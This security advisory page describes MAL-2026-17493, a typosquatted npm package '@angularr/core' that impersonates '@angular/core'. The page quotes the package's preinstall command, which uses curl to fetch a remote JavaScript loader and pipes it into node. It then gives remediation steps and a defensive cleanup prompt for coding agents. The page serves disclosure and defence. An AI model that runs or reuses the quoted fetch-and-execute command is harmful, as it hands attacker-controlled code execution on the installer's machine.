# MAL-2026-17493: Malicious code in @angularr/core (npm)


- **Type:** Malicious package
- **Package:** `@angularr/core` (npm)
- **Published:** 3 Oct 2026

## What is MAL-2026-17493?

MAL-2026-17493 is a malicious package in @angularr/core, published on 3 Oct 2026. 

### Official description

@angularr/core@1.0.67 impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package's npm preinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching a JavaScript payload from a third-party host and piping it directly to node for execution on every `npm install`. The destination (gitflic.ru under a user path `hellscripter/install-scripts`, routed via a web.archive.org proxy) is unrelated to any `@angular` publisher infrastructure, is unpinned, and is not integrity-checked. Whoever controls that path controls code execution on the installer's host. The package name `@angularr/core` is a one-letter variant of the widely-used `@angular/core`, increasing the likelihood of accidental installation.

## What should I do about MAL-2026-17493?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17493 is a malicious package: @angularr/core (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17493/ (Markdown: https://insights.sbomify.com/MAL-2026-17493/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17493

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-17493/
Summaries are generated and may contain mistakes; the official description above is the record.